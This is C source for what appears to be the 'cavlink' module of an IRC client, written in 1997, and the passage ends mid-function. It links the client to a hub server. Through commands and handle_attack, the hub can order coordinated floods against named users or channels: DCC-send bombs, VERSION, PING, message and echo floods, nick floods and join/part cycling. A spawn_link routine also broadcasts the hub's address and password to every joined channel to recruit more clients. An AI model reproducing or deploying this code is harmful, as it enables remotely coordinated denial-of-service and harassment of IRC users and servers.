
#define CAV_VERSION "0.10"

/*
 *
 * This is the cavlink link handler.
 * Written by Colten Edwards. (C) March 97
 */
#include "irc.h"
#include "dcc.h"
#include "struct.h"
#include "ircaux.h"
#include "ctcp.h"
#include "status.h"
#include "lastlog.h"
#include "server.h"
#include "screen.h"
#include "vars.h" 
#include "misc.h"
#include "output.h"
#include "cset.h"
#include "module.h"
#include <sys/time.h>

extern NickTab *tabkey_array;

DCC_list *cavhub = NULL;
char cavbuf[BIG_BUFFER_SIZE+1];
char *cav_nickname = NULL;
char *cav_channel = NULL;
int cav_port = 7979;
time_t cavping = 0;

DCC_list *cavlink_connect(char *host, unsigned short port);

char cav_version[] = CAV_VERSION;

#define cparse convert_output_format

#define MAXCAVPARA 30

#define space ' '

int check_cavlink(DCC_list *Client, char *str, int active)
{
	if ((active && !Client) || (!active && Client))
	{
		bitchsay(str?str:"Connect to a cavhub first");
		return 0;
	}
	return 1;
}

int cav_say(char *format, ...)
{
Window  *old_to_window = to_window;
int     lastlog_level;
	lastlog_level = set_lastlog_msg_level(LOG_CRAP);
	if (get_dllint_var("cavlink_window") > 0)
		to_window = get_window_by_name("CAVLINK");
	if (window_display && format)
	{
		va_list args;
		va_start (args, format);
		vsnprintf(&(cavbuf[strlen(get_dllstring_var("cavlink_prompt"))+1]), BIG_BUFFER_SIZE, format, args);
		va_end(args);
		strcpy(cavbuf, get_dllstring_var("cavlink_prompt"));
		cavbuf[strlen(get_dllstring_var("cavlink_prompt"))] = ' ';
                if (*cavbuf)
		{
			add_to_log(irclog_fp, cavbuf);
			add_to_screen(cavbuf);
		}
	}
	if (get_dllint_var("cavlink_window")> 0)
		to_window = old_to_window;
	set_lastlog_msg_level(lastlog_level);
	return 0;
}

void cavsay _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	if (command)
	{
		if (!my_stricmp(command, "CLSAY"))
		{
			dcc_printf(cavhub->read, "lsay %s\n", args);
			return;	
		}
	}
	if (args && *args)
		dcc_printf(cavhub->read, "say %s\n", args);
}

void cav_link _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
char *host, *passwd, *port;
int sucks = 0;
char *tmp = NULL;
	if (!check_cavlink(cavhub, "Already connected to a CavHub", 0))
		return;
	if (!(host = next_arg(args, &args)))
		host = get_dllstring_var("cavlink_host");
	if (!(port = next_arg(args, &args)))
		sucks = get_dllint_var("cavlink_port");
	else 
		sucks = my_atol(port);
	if (sucks < 100)
	{
		cav_say("Invalid port specified %d", sucks);
		return;
	}
	if (!(passwd = next_arg(args, &args)))
		passwd = get_dllstring_var("cavlink_pass");
	if (host && sucks && passwd)
	{
		cavhub = cavlink_connect(host, (unsigned short)sucks);
		set_dllstring_var("cavlink_host", host);
		set_dllstring_var("cavlink_pass", passwd);
		set_dllint_var("cavlink_port", sucks);
	}
	else
		cav_say("No %s specified", !host?"host":!passwd?"passwd":"arrggh");
}

void cmode _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
char *nick, *mode;
char buffer[BIG_BUFFER_SIZE];
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	mode = next_arg(args, &args);
	if (mode && (!my_stricmp(mode, "+a") || !my_stricmp(mode, "-a")) && args)
	{
		*buffer = 0;
		while ((nick = next_arg(args, &args)))
		{
			*buffer = 0;
			if (!my_stricmp(mode, "+a"))
				sprintf(buffer, "berserk %s\n", nick);
			else if (!my_stricmp(mode, "-a"))
				sprintf(buffer, "calm %s\n", nick);
			dcc_printf(cavhub->read, buffer);
		}
	} else
		cav_say("%s", cparse("%BUsage%W:%n /$0 +%Y|%n-a nick", "%s", command));
}

void cattack _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
char *tmp, *times = "6", *target = NULL, *q;
char *comm = NULL;
char *type[] = { "dcc_bomb", "version_flood", "ping_flood", "message_flood", "quote_flood", "cycle_flood", "nick_flood", "echo_flood", NULL};
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	if (!my_stricmp(command, "CATTACK"))
	{
		set_dllint_var("cavlink_attack", get_dllint_var("cavlink_attack") ? 0 : 1);
		cav_say(cparse("%RToggled Attack %W$0", "%s", on_off(get_dllint_var("cavlink_attack"))));
		return;
	}
	if (!my_stricmp(command, "cbomb"))
		comm = type[0];
	else if (!my_stricmp(command, "cvfld"))
		comm = type[1];
	else if (!my_stricmp(command, "cpfld"))
		comm = type[2];
	else if (!my_stricmp(command, "cmfld"))
		comm = type[3];
	else if (!my_stricmp(command, "cqfld"))
		comm = type[4];
	else if (!my_stricmp(command, "ccfld"))
		comm = type[5];
	else if (!my_stricmp(command, "cnfld"))
		comm = type[6];
	else if (!my_stricmp(command, "cefld"))
		comm = type[7];
	if (!my_stricmp(command, "cspawn"))
	{
		comm = "spawn_link";
		target = "all";
		times = "0";
		if (args && *args)
		{
			q = next_arg(args, &args);
			if (q && is_channel(q))
				target = q;
		}
	}
	else if (!my_stricmp(comm, "quote_flood") || !my_stricmp(comm, "message_flood") || !my_stricmp(comm, "echo_flood"))
	{
		if (!my_strnicmp(args, "-t", 2))
		{
			tmp = next_arg(args, &args);
			times = next_arg(args, &args);
			if (times && !isdigit(*times))
				times = "6";
			target = next_arg(args, &args);
		} else
			target = next_arg(args, &args);
		if (target && args)
			dcc_printf(cavhub->read, "attack %s %s %s %s\n", comm, times, target, args);
		else
			cav_say(cparse("%BUsage%W:%n /$0  %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command)); 
		return;
	}
	else
	{
		if (!my_strnicmp(args, "-t", 2))
		{
			tmp = next_arg(args, &args);
			times = next_arg(args, &args);
			if (times && !isdigit(*times))
				times = "6";
			target = next_arg(args, &args);
		} else
			target = next_arg(args, &args);
	}
	if (target)
		dcc_printf(cavhub->read, "attack %s %s %s\n", comm, times, target);
	else
		cav_say(cparse("%BUsage%W:%n /$0  %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command)); 
}

void cunlink _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	dcc_printf(cavhub->read, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
	cavhub->flags |= DCC_DELETE;
	cavhub = NULL;
}

void cgrab _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
char *target;
char buffer[BIG_BUFFER_SIZE];
int server = -1;
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	if ((server = curr_scr_win->server) == -1)
		server = primary_server;
		
	if (!args || !*args)
		args = get_current_channel_by_refnum(0);
	if ((server != -1) && args)
	{
		while ((target = next_arg(args, &args)))
		{
			snprintf(buffer, BIG_BUFFER_SIZE, "PRIVMSG %s :%cCLINK %s %d %s%c", target, CTCP_DELIM_CHAR, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"), CTCP_DELIM_CHAR);
			my_send_to_server(server, buffer);
		}
	}
	else
		cav_say(cparse("%BUsage%W:%n /$0  target%Y|%ntarg1 targ2...", "%s", command)); 
}

void cavgen _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
	if (!check_cavlink(cavhub, NULL, 1))
		return;
	if (command)
	{
		char buffer[BIG_BUFFER_SIZE];

		*buffer = 0;		
		if (!my_stricmp(command, "CWHO"))
			sprintf(buffer, "who\n");
		else if (!my_stricmp(command, "CRWHO"))
			sprintf(buffer, "rwho\n");
		else if (!my_stricmp(command, "CSTATS"))
			sprintf(buffer, "stats\n");
		else if (!my_stricmp(command, "CUPTIME"))
			sprintf(buffer, "uptime\n");
		else if (!my_stricmp(command, "CMSG") && args)
		{
			char *nick = next_arg(args, &args);
			if (args && *args)
			{
				sprintf(buffer, "msg %s %s\n", nick, args);
				addtabkey(nick, "cmsg", 0);
				cav_say("%s",cparse("%g[%r$0%g(%W$1%g)]%n $2-","%s %s %s","cmsg",nick, args));
			}
		}
		else if (!my_stricmp(command, "COPER") && args)
			sprintf(buffer, "oper %s\n", args);
		else if (!my_stricmp(command, "CPART"))
			sprintf(buffer, "leave\n");
		else if (!my_stricmp(command, "CLIST"))
			sprintf(buffer, "list\n");
		else if (!my_stricmp(command, "CJOIN") && args)
			sprintf(buffer, "join %s\n", args);
		else if (!my_stricmp(command, "CKILL") && args)
		{
			char *nick = next_arg(args, &args);
			sprintf(buffer, "kill %s%s%s\n", nick, args? " ":empty_string, args ? args:empty_string);
		}
		else if (!my_stricmp(command, "CPONG"))
		{
			if (cavping == 0)
			{
				sprintf(buffer, "ping\n");
				cavping = time(NULL);
			} else
				cav_say("Server ping already in progress");
		}
		else if (!my_stricmp(command, "CPING"))
		{
			char *nick = next_arg(args, &args);
			if (nick)
				sprintf(buffer, "msg %s PING %ld\n", nick, time(NULL));
			else
				sprintf(buffer, "say PING %ld\n", time(NULL));
		}
		else if (!my_stricmp(command, "CVERSION"))
			sprintf(buffer, "version\n");
		else if (!my_stricmp(command, "CVER"))
		{
			char *nick = next_arg(args, &args);
			if (nick)
				sprintf(buffer, "msg %s VERSION\n", nick);
			else
				sprintf(buffer, "say VERSION\n");
		}
		else if (!my_stricmp(command, "CWALL") && args)
			sprintf(buffer, "wall %s\n", args);
		else if (!my_stricmp(command, "CRWALL") && args)
			sprintf(buffer, "rwall %s\n", args);
		else if (!my_stricmp(command, "CQUIT"))
			sprintf(buffer, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
		else if (!my_stricmp(command, "CMOTD"))
			sprintf(buffer, "motd\n");
		else if (!my_stricmp(command, "CDIE"))
			sprintf(buffer, "die\n");
		else if (!my_stricmp(command, "CCONNECT") && args)
			sprintf(buffer, "connect %s\n",args);
		else if (!my_stricmp(command, "CME") && args)
			sprintf(buffer, "say ACTION %s\n",args);
		else if (!my_stricmp(command, "CLUSER"))
			sprintf(buffer, "luser\n");
		else if (!my_stricmp(command, "CINFO") || !my_stricmp(command, "CWHOIS"))
		{
			char *nick = next_arg(args, &args);
			if (nick)
				sprintf(buffer, "msg %s INFO\n", nick);
			else
				sprintf(buffer, "say INFO\n");
		} 
		else if (!my_stricmp(command, "CBOOT") && args)
		{
			char *nick = next_arg(args, &args);
			sprintf(buffer, "kill %s\n", nick);
		}
		else if (!my_stricmp(command, "CHUBS"))
		{
			char *nick = next_arg(args, &args);
			sprintf(buffer, "hubs%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
		}
		else if (!my_stricmp(command, "CSPLIT"))
			sprintf(buffer, "split\n");
		else if (!my_stricmp(command, "CNICK") && args)
		{
			char *nick = next_arg(args, &args);
			sprintf(buffer, "nick %s\n", nick);
		}
		else if (!my_stricmp(command, "CKLINE"))
		{
			char *nick = next_arg(args, &args);
			sprintf(buffer, "kline%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
		}
		if (*buffer)
			dcc_printf(cavhub->read, buffer);
		return;
	}
	if (args && *args)
		dcc_printf(cavhub->read, "%s\n", args);
}

int do_nick_flood(int server, char *target, int repcount, char *key)
{
int i;
ChannelList *chan;
int joined = 0;
char *channel;
	channel = make_channel(target);
	if (server == -1)
		server = primary_server;
	if (server == -1)
		return 1;

	if (!server_list[server].chan_list || !(chan = (ChannelList *)find_in_list((List **)server_list[server].chan_list, channel, 0)))
	{
		my_send_to_server(server, "JOIN %s%s%s\n", channel, key?" ":empty_string, key?key:empty_string);
		joined = 1;
	}

	for (i = 0; i < repcount; i++)
		my_send_to_server(server, "NICK %s", random_str(3, 9));
	if (joined)
		my_send_to_server(server, "PART %s\n", channel);
	return 1;
}

int do_cycle_flood(int server, char *target, int repcount, char *key)
{
char *channel;
ChannelList *chan = NULL;
char *key1 = NULL;
int i;
	channel = make_channel(target);
	if (server == -1)
		server = primary_server;
	if (server == -1)
		return 1;
	if (!server_list[server].chan_list || !(chan = (ChannelList *)find_in_list((List **)server_list[server].chan_list, channel, 0)))
	{
		for (i = 0; i < repcount; i++)
			my_send_to_server(server, "JOIN %s%s%s\nPART %s\n", channel, key?" ":empty_string, key?key:empty_string, channel);
	}
	else
	{
		key1 = m_strdup(chan->key);
		for (i = 0; i < repcount; i++)
			my_send_to_server(server, "PART %s\nJOIN %s%s%s\n", channel, channel, key1?" ":empty_string, key1?key1:empty_string);
		new_free(&key1);
	}
	return 1;
}

static unsigned long randm _((unsigned long l))
{
	unsigned long t1, t2, t;
	struct timeval tp1;
	get_time(&tp1);
	if (l == 0)
		l = (unsigned long) -1;
	get_time(&tp1);
	t1 = (unsigned long)tp1.tv_usec;
	get_time(&tp1);
	t2 = (unsigned long)tp1.tv_usec;
	t = (t1 & 65535) * 65536 + (t2 & 65535);
	return t % l;
}                                        
                        
int do_dccbomb(int server, char *target, int repcount)
{
char buffer[BIG_BUFFER_SIZE];
char *text = NULL;
char *p = NULL;
int i;
	if (server == -1)
		server = primary_server;
	if (server == -1)
		return 1;
	for (i = 0; i < repcount; i++)
	{
		snprintf(buffer, IRCD_BUFFER_SIZE, "%ld%ld%ld %ld%ld%ld %ld%ld%ld %ld%ld%ld", randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i);
		p = (char *)function_decode(buffer);	
		text = (char *)function_decode(p);
		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :DCC SEND %s 2293243493 8192 6978632", target, text);
		my_send_to_server(server, buffer);
		new_free(&p); new_free(&text);
	}
	return 1;
}

int handle_attack (DCC_list *Client, char **ArgList)
{
char *type, *times, *target, *extra;
char *nick, *host;
int i, repcount, done = 0;
char buffer[BIG_BUFFER_SIZE+1];

	if (!get_dllint_var("cavlink_attack"))
		return 1;

	nick = *(ArgList+1);
	host = *(ArgList+2);

	type = *(ArgList+3);
	times = *(ArgList+4);

	if (!my_stricmp(type, "message_flood") || !my_stricmp(type, "quote_flood"))
	{
		PasteArgs(ArgList, 6);
		target = *(ArgList+5);
		extra = *(ArgList+6);
	}
	else
		target = *(ArgList+5);
	
	*buffer = 0;
	if (!my_stricmp(type, "spawn_link"))
	{
		char *chan = NULL;
		int server = curr_scr_win->server;
		int tmp_server = from_server;
		if (server == -1)
			server = primary_server;
		if (((server = curr_scr_win->server) == -1) || get_dllint_var("cavlink_floodspawn") || !server_list[server].chan_list)
		{
			cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
			return 1;
		}
		from_server = server;
		if (!my_stricmp(target, "all"))
		{
			char *p;
			chan = create_channel_list(curr_scr_win);

			while((p = strchr(chan, ' ')))
				*p=',';
			if (chan[strlen(chan)-1] == ',')
				chop(chan, 1);
			snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", chan, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
			new_free(&chan);
		} 
		else
		{
			if (find_in_list((List **)server_list[server].chan_list, target, 0))
				snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", make_channel(target), get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
		}
		if (*buffer)
		{
			my_send_to_server(server, buffer);
			cav_say("%s", cparse("%BSpawn link request by $0!$1 to : $2", "%s %s %s", nick, host, chan ? chan : target));
		}
		else
			cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
		from_server = tmp_server;
		return 0;
	}
	if (!type || !target || !times)
	{
		/* Illegal request */
		cav_say("%s", cparse("%BIllegal attack request from $0!$1", "%s %d %s %s %s", nick, host));
		return 0;
	}
	repcount = my_atol(times);
	if (repcount <= 0 || repcount > get_dllint_var("cavlink_attack_times"))
		repcount = get_dllint_var("cavlink_attack_times");

	if (!my_stricmp(type, "quote_flood") && get_dllint_var("cavlink_floodquote"))
		snprintf(buffer, IRCD_BUFFER_SIZE, "%s %s", target, extra);
	else if (!my_stricmp(type, "version_flood") && get_dllint_var("cavlink_floodversion"))
		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :VERSION", target);
	else if (!my_stricmp(type, "ping_flood") && get_dllint_var("cavlink_floodping"))
		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :PING %ld", target, time(NULL));
	else if (!my_stricmp(type, "echo_flood") && get_dllint_var("cavlink_floodecho"))
		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :ECHO %s", target, extra);
	else if (!my_stricmp(type, "message_flood") && get_dllint_var("cavlink_floodmsg"))
		snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :%s", target, extra);
	else if (!my_stricmp(type, "dcc_bomb") && get_dllint_var("cavlink_flooddccbomb"))
		done = do_dccbomb(curr_scr_win->server, target, repcount);
	else if (!my_stricmp(type, "cycle_flood") && get_dllint_var("cavlink_floodcycle"))
		done = do_cycle_flood(curr_scr_win->server, target, repcount, *(ArgList+6));
	else if (!my_stricmp(type, "nick_flood") && get_dllint_var("cavlink_floodnick"))
		done = do_nick_flood(curr_scr_win->server, target, repcount, *(ArgList+6));

	if (*buffer)
	{
		for (i = 0; i < repcount; i++)
			my_send_to_server(-1, buffer);
		done = 1;
	}
	if (done)
		cav_say("%s", cparse("%BAttack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
	else
		cav_say("%s", cparse("%BIgnoring Attack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
	return 0;
}

int handle_split(DCC_list *Client, char **ArgList)
{
char *t, *serv, *links;
static int start_split = 0;
	t = *(ArgList+1);
	if (!my_stricmp(t, "End"))
	{
		cav_say("%s", cparse("End of split list", NULL, NULL));
		start_split = 0;
		return 0;
	}
	serv = *(ArgList+2);
	links = *(ArgList+3);
	if (!start_split)
		cav_say("%s", cparse("%B$[25]0 $[10]1 $[30]2", "Server Time Uplink", NULL));
	cav_say("%s", cparse("$[25]1 $[10]0 $[30]2", "%s %s %s", t, serv, links?links:"*unknown*"));
	start_split++;
	return 0;
}

int handle_who (DCC_list *Client, char **ArgList, int remote)
{
char *chan = NULL, *oper = NULL, *stat = NULL, *idle = NULL, *flags = NULL;
char *nick, *host;
	if (strcmp("end", *(ArgList+1)))
	{
		if (!remote)
		{
			nick = *(ArgList+1);
			host = *(ArgList+2);
			chan = *(ArgList+3);
			if (!my_stricmp("(chan:",chan)) 
			{
				chan = *(ArgList+4);
				chop(chan, 1);
			}  
			else 
				chan = NULL;
			flags = *(ArgList+5);
			PasteArgs(ArgList, 6);
			if (*(ArgList+6))
				malloc_sprintf(&idle,"idle: %s", *(ArgList+6));
		}
		else
		{
			nick = *(ArgList+2);
			host = *(ArgList+3);
			chan = *(ArgList+4);
			if (!my_stricmp("(chan:",chan)) 
			{
				chan = *(ArgList+5);
				chop(chan, 1);
			}  
			else 
				chan = NULL;
			flags = *(ArgList+6);
			PasteArgs(ArgList, 7);
			if (*(ArgList+7))
				malloc_sprintf(&idle,"idle: %s", *(ArgList+7));
		}
		cav_say("%s",cparse("%g$[10]0%g$[-10]1%G!%g$[30]2 %G$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"ÿÿ"));
#if 0
		if (remote)
/*			cav_say("%s",cparse("%G$[20]0%G$[-10]1%g!%g$[25]2 %g$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"ÿÿ"));*/
			cav_say("%s",cparse("$0-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"ÿÿ"));
		else
#endif
		new_free(&idle);
	}
	return 0;
}

int handle_llbot (DCC_list *Client, char **ArgList)
{
char *host, *port;
	host= *(ArgList+4);
	port= *(ArgList+5);
	cav_say("llbot attemping connect to %s %s",host, port);
	return 0;
}

char *ctcp_info = NULL;
UserList *cav_info = NULL;

char *handle_ctcp(DCC_list *Client, char *nick, char *host, char *chan, char *ptr)
{
char local_ctcp_buffer[IRCD_BUFFER_SIZE+1];
char the_ctcp[IRCD_BUFFER_SIZE+1];
char last[IRCD_BUFFER_SIZE+1];
int allow_reply = 1;
char *ctcp_command;
char *ctcp_arg;
int delim = charcount(ptr, CTCP_DELIM_CHAR);
int its_me = 0;

	if (delim < 2)
		return ptr;
	if (delim > 8)
		allow_reply = 0;		
	its_me = !my_stricmp(nick, cav_nickname) ? 1 : 0;
	
	strmcpy(local_ctcp_buffer, ptr, IRCD_BUFFER_SIZE-2);
	for (;; strmcat(local_ctcp_buffer, last, IRCD_BUFFER_SIZE-2))
	{
		split_CTCP(local_ctcp_buffer, the_ctcp, last);
		if (!*the_ctcp)
			break;
		if (!allow_reply)
			continue;
		ctcp_command = the_ctcp;
		ctcp_arg = index(the_ctcp, ' ');
		if (ctcp_arg)
			*ctcp_arg++ = 0;
		else
			ctcp_arg = empty_string;
		if (!my_stricmp(ctcp_command, "PING") && !its_me)
		{
			dcc_printf(Client->read, "msg %s PONG %s\n",nick, ctcp_arg);
			cav_say(cparse("CTCP $0 from $1 to $3","PING %s %s %s",nick,host,chan ? chan : "you"));
			*local_ctcp_buffer = 0;
		}
		if (!my_stricmp(ctcp_command, "PONG") && *ctcp_arg)
		{
			time_t tme;
			tme = strtoul(ctcp_arg, &ctcp_arg, 10);
			cav_say(cparse("CTCP $0 reply from $1 : $3secs","PONG %s %s %d %s",nick,host, time(NULL)-tme, chan ? chan:empty_string));
			*local_ctcp_buffer = 0;
		}
		else if (!my_stricmp(ctcp_command, "VERSION") && *ctcp_arg)
		{
			cav_say(cparse("$0-","%s %s %s %s","VERSION",nick,host, ctcp_arg));
			*local_ctcp_buffer = 0;
		}
		else if (!my_stricmp(ctcp_command, "VERSION") && !its_me)
		{
			if (!my_stricmp(nick, cav_nickname))
				cav_say(cparse("$0 $1","%s %s %s %s","VERSION",chan? chan : nick,host, chan?chan:empty_string));
			else
				cav_say(cparse("CTCP $0 from $1","%s %s %s %s","VERSION",nick,host, chan?chan:empty_string));
			*local_ctcp_buffer = 0;
			dcc_printf(Client->read, "msg %s VERSION %s cavlink %s\n", nick, irc_version, cav_version);
		}
		else if (!my_stricmp(ctcp_command, "ACTION"))
		{
			cav_say(cparse("%W*%n $2 $4-","%s %s %s %s %s","ACTION",cav_nickname, nick,host, ctcp_arg));
			*local_ctcp_buffer = 0;
			addtabkey(nick, "cmsg", 0);
		}
		else if (!my_stricmp(ctcp_command, "AWAY"))
		{
			cav_say(cparse("$1!$2 is now away. ($3-)","%s %s %s %s","AWAY",nick,host, ctcp_arg));
			*local_ctcp_buffer = 0;
		}
		else if (!my_stricmp(ctcp_command, "INFO") && !*ctcp_arg && !its_me)
		{
			char *serv, *channels;
			serv = (get_window_server(0) != -1) ? get_server_itsname(get_window_server(0)) : empty_string;
			if (curr_scr_win->server != -1)
			{
				ChannelList *tmp;
				channels = m_strdup(empty_string);
				for (tmp = server_list[curr_scr_win->server].chan_list; tmp; tmp = tmp->next)
					m_3cat(&channels, tmp->channel, " ");
			}
			else
				channels = m_strdup(empty_string);
			cav_say(cparse("CTCP $0-","%s %s %s","INFO",nick,host));
			dcc_printf(Client->read, "msg %s INFO %s %s %s", nick, nickname, serv, *channels?channels:"*none*");
			if (away_set)
			{
				char *p = (char *)alias_away(NULL);
				dcc_printf(Client->read, "msg %s INFO AWAY %s\n", nick, p);
				new_free(&p);
			}
			dcc_printf(Client->read, "msg %s INFO END\n", nick);
			new_free(&channels);
			*local_ctcp_buffer = 0;
		}
		else if (!my_stricmp(ctcp_command, "INFO") && *ctcp_arg)
		{
			UserList *n;
			if (!my_stricmp(ctcp_arg, "END"))
			{
				cav_say(cparse("$[10]0 $[20]1 $2", "Nick Server Channels", NULL));
				for(; ((n = cav_info) != NULL);)
				{
					cav_info = cav_info->next;
					cav_say(cparse("$[10]0 $[20]1 $2-", "%s", n->channels));
					if (n->password)
						cav_say(cparse("$0-", "%s", n->password));
					new_free(&n->password);
					new_free(&n->channels);
					new_free(&n->nick);
					new_free(&n->host);
					new_free((char **)&n);
				}
			}
			else
			{
				if (!(n = (UserList *)remove_from_list((List **)&cav_info, nick)))
				{
					n = (UserList *)new_malloc(sizeof(UserList));
					n->nick = m_strdup(nick);
					n->host = m_strdup(host);
				}
				if (!my_strnicmp(ctcp_arg, "AWAY", 4))
					n->password = m_strdup(ctcp_arg);
				else
					n->channels = m_strdup(ctcp_arg);
				add_to_list((List **)&cav_info, (List *)n);
			}
			*local_ctcp_buffer = 0;
		}
	}
	return strcpy(ptr, local_ctcp_buffer);
}

int handle_say (DCC_list *Client, char **ArgList)
{
char *chan, *nick, *host, *str;

	chan = *(ArgList+1);
	nick = *(ArgList+2);
	host = *(ArgList+3);
	str  = *(ArgList+4);
	PasteArgs(ArgList, 4);

	str = handle_ctcp(Client, nick, host, chan, str);
	if (!str || !*str)
		return 0;
	if (!my_stricmp(nick, cav_nickname))
		cav_say(cparse("%g<%W$2%g>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
	else
		cav_say(cparse("%G<%R$1%g/%Y$2%G>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
	return 0;
}

void cav_away(DCC_list *Client, char *nick)
{
NickTab *tmp;
	if (away_set && nick)
	{
		char *p;
		for (tmp = tabkey_array;tmp; tmp = tmp->next);
		{
			if (!tmp || (tmp->nick && !my_stricmp(tmp->nick, nick)))
				return;
		}
		p = (char *)alias_away(NULL);
		dcc_printf(Client->read, "msg %s AWAY %s\n", nick, p);
		new_free(&p);
	}
}

int handle_msg (DCC_list *Client, char **ArgList)
{
char *to, *nick, *host, *str;
	to = *(ArgList+1);
	nick = *(ArgList+2);
	host = *(ArgList+3);
	str = *(ArgList+4);
	PasteArgs(ArgList, 4);
	str = handle_ctcp(Client, nick, host, NULL, str);
	if (!str || !*str)
		return 0;
	cav_say("%s",cparse("%g[%W$0%g(%n$1%g)]%n $2-","%s %s %s",nick,host,str));
	cav_away(Client, nick);
	addtabkey(nick, "cmsg", 0);
	return 0;
}


static void cavlink_handler _(( DCC_list *Client, char *tmp))
{
int output = 1;
char *p = NULL;
char *TrueArgs[MAXCAVPARA+1] = { NULL };
int count = 0;
char **ArgList;
char *comm;

	if (!Client && !tmp)
	{
		cavhub = NULL;
		return;
	}
	if (my_strnicmp(tmp, "caverns:", 8))
	{
		if (match("password:", tmp))
		{
			dcc_printf(Client->read, "%s\n", get_dllstring_var("cavlink_pass"));
			output = 0;
		}
		else if (match("nick:", tmp))
		{
			dcc_printf(Client->read, "%s\n", cav_nickname);
			output = 0;
		}
		else if (match("that nick is not unique!",tmp))
		{
			malloc_sprintf(&cav_nickname, "_%9.9s", nickname);
			dcc_printf(Client->read, "_%9.9s\n", cav_nickname);
		}
		else if (match("welcome to caverns.", tmp))
		{
			dcc_printf(Client->read, "motd\n");
			dcc_printf(Client->read, "luser\n");
			dcc_printf(Client->read, "status\n");
		}
		if (output)
			cav_say(tmp);
		return;
	}
	if (match("% % restored your attack ability",tmp))
	{
		p=next_arg(tmp,&tmp); 
		p=next_arg(tmp,&tmp);
		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p,cav_nickname));
		return;
	}
	else if (match("% % removed your attack ability",tmp))
	{
		p=next_arg(tmp,&tmp); 
		p=next_arg(tmp,&tmp);
		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p,cav_nickname));
		return;
	}
	else if (match("% % can now attack",tmp))
	{
		p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p, get_dllstring_var("cavlink_host")));
		return;
	}
	else if (match("% % can no longer attack",tmp))
	{
		p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p, get_dllstring_var("cavlink_host")));
		return;
	}
	else if (match("% % % wall *",tmp))
	{
		char *nick, *host;
		p=next_arg(tmp,&tmp);
		nick=next_arg(tmp,&tmp);
		host=next_arg(tmp,&tmp);
		p=next_arg(tmp,&tmp);
		cav_say("%s",cparse("%g!%WWALL%g! [%n$0%g(%W$1%g)]%n $2-","%s %s %s",nick,host,tmp));
		return;
	}
	else if (match("% you are an oper", tmp))
	{
		cav_say("%s", cparse("You are now an operator", "%s", cav_nickname));
		return;
	}
	ArgList = TrueArgs;
	count = BreakArgs(tmp, NULL, ArgList, 1);
        if (!(comm = (*++ArgList)) || !*ArgList)
                        return;         /* Empty line from server - ByeBye */

	if (!strcmp(comm, "motd"))
	{
		PasteArgs(ArgList, 1);
		p = *(ArgList+1);
		output = cav_say(p?p:empty_string);
	}
	else if ((!strcmp(comm,"begin") || !strcmp(comm, "end") && !strcmp("motd", *(ArgList+1))))
		output = 0;
	else if (!strcmp(comm, "list"))
	{
		char *nick, *host;
		nick = *(ArgList+1);
		host = *(ArgList+2);
		output = cav_say("%s", cparse("$0: $1", "%s %s",nick,host));
	}
	else if (!strcmp(comm, "llbot"))
		output = handle_llbot(Client, ArgList);
	else if (!strcmp(comm, "status"))
		output = cav_say("%s",cparse("llbot %gwatching %W$0","%s", *(ArgList+2)));
	else if (!strcmp(comm, "part")) 
	{
		char *chan, *nick, *host;
		chan = *(ArgList+1);
		nick = *(ArgList+2);
		host = *(ArgList+3);
